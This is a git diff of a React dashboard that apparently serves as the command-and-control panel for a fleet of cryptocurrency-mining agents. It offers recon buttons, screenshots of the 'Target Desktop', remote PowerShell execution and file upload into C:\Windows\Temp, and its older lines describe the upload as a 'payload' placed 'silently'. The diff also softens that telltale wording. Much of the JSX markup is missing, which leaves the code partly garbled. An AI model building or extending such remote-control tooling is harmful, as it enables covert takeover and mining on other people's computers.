} - }, [latestWsMessage, agentId]); + }, [latestWsMessage, agentId, addLog]); - const dispatch = async (action: string, args: Record = {}) => { + const dispatch = async (action: string, args: Record = {}) => { + if (!agentId) { + addLog('No agent selected'); + return; + } + if (agent && !online) { + addLog('Agent is offline'); + return; + } + if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return; + if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return; + + setBusy(action); try { - addLog(`> Executing ${action}...`); + if (!compact) addLog(`> Executing ${action}...`); await api.sendAgentCommand(agentId, action, args); - } catch (err: any) { - addLog(`❌ API Error: ${err.message}`); + onCommandSent?.(action); + } catch (err: unknown) { + const msg = err instanceof Error ? err.message : 'Command failed'; + addLog(`API Error: ${msg}`); + } finally { + setBusy(null); } }; - // Drag and Drop Handlers - const handleDragOver = (e: React.DragEvent) => { e.preventDefault(); setIsDragging(true); }; + const handleDragOver = (e: React.DragEvent) => { + e.preventDefault(); + e.stopPropagation(); + setIsDragging(true); + }; const handleDragLeave = () => setIsDragging(false); const handleDrop = (e: React.DragEvent) => { e.preventDefault(); + e.stopPropagation(); setIsDragging(false); const file = e.dataTransfer.files[0]; if (!file) return; - const reader = new FileReader(); reader.onload = async (evt) => { const base64 = (evt.target?.result as string).split(',')[1]; const targetPath = `C:\\Windows\\Temp\\${file.name}`; - addLog(`> Uploading ${file.name} to ${targetPath}...`); await dispatch('upload', { path: targetPath, data: base64 }); }; reader.readAsDataURL(file); @@ -76,76 +112,84 @@ export default function AgentRemoteActions({ agentId, agentName, latestWsMessage setCustomCmd(''); }; + if (compact) { + return ( +
e.stopPropagation()}> +
+ + + + +
+
+ ); + } + const isFleet = agentId === 'all'; return (
-
+

Target: {isFleet ? 'ENTIRE FLEET' : agentName}

- {/* Reconnaissance Group */}
-

👁️ Recon & Intel

+

Recon & Intel

- - - - - - + + + + + + +
- {/* Mining Controls */}
-

⛏️ Mining Controls

+

Mining Controls

- - + +
- {/* Power Controls */}
-

⚠️ System Power

+

System Power

- - - + + +
- {/* Visual Render Zone (Screenshots) */} {screenshotData && (
Latest Capture - +
Target Desktop
)}
- {/* Drag & Drop Upload Zone */} -
📥 -

Drag & Drop payload here

- Silently uploads to C:\Windows\Temp\ +

Drag & Drop file here

+ Uploads to C:\Windows\Temp\
- {/* Master Terminal */}
{terminalLog.length === 0 ? ( @@ -157,17 +201,18 @@ export default function AgentRemoteActions({ agentId, agentName, latestWsMessage
PS> - setCustomCmd(e.target.value)} + onChange={(e) => setCustomCmd(e.target.value)} placeholder="Enter PowerShell command..." autoComplete="off" + disabled={!online} /> - +
); -} \ No newline at end of file +} diff --git a/server/web/src/hooks/useWebSocket.ts b/server/web/src/hooks/useWebSocket.ts index bb82d7b..1fdb4d9 100644 --- a/server/web/src/hooks/useWebSocket.ts +++ b/server/web/src/hooks/useWebSocket.ts @@ -13,6 +13,7 @@ interface UseWebSocketReturn { poolStatus: PoolStatus[]; aiActivity: AIActivityEntry[]; agentLogs: Record; + latestMessage: WSMessage | null; } export function useWebSocket(): UseWebSocketReturn { @@ -26,6 +27,7 @@ export function useWebSocket(): UseWebSocketReturn { const [poolStatus, setPoolStatus] = useState([]); const [aiActivity, setAiActivity] = useState([]); const [agentLogs, setAgentLogs] = useState>({}); + const [latestMessage, setLatestMessage] = useState(null); const connect = useCallback(() => { if (unmounted.current) return; @@ -53,6 +55,7 @@ export function useWebSocket(): UseWebSocketReturn { ws.onmessage = (event) => { try { const msg: WSMessage = JSON.parse(event.data); + setLatestMessage(msg); switch (msg.type) { case 'init': { @@ -133,6 +136,16 @@ export function useWebSocket(): UseWebSocketReturn { }); break; } + case 'command_result': { + const { agent_id } = msg.payload as { agent_id?: string }; + if (agent_id && msg.payload && typeof msg.payload === 'object') { + const p = msg.payload as { action?: string; message?: string; success?: boolean }; + if (p.action === 'get_log' && p.success && p.message) { + setAgentLogs((prev) => ({ ...prev, [agent_id]: p.message! })); + } + } + break; + } case 'agent_log': { const { agent_id, content } = msg.payload as { agent_id: string; content: string }; if (agent_id) { @@ -163,5 +176,5 @@ export function useWebSocket(): UseWebSocketReturn { }; }, [connect]); - return { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, agentLogs }; + return { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity, agentLogs, latestMessage }; } diff --git a/server/web/src/pages/AgentsPage.tsx b/server/web/src/pages/AgentsPage.tsx index 28bf37e..00b58c5 100644 --- a/server/web/src/pages/AgentsPage.tsx +++ b/server/web/src/pages/AgentsPage.tsx @@ -10,7 +10,7 @@ import '../components/Fleet/AgentRemoteActions.css'; import './Pages.css'; export default function AgentsPage() { - const { agents: liveAgents, isConnected, agentLogs } = useWebSocket(); + const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket(); const [agents, setAgents] = useState([]); const [selectedAgent, setSelectedAgent] = useState(null); const [hashrateHistory, setHashrateHistory] = useState([]); @@ -221,7 +221,8 @@ export default function AgentsPage() {

Remote Control

{ + latestWsMessage={latestMessage} + onCommandSent={(action: string) => { if (action === 'get_log') refreshLog(true); }} />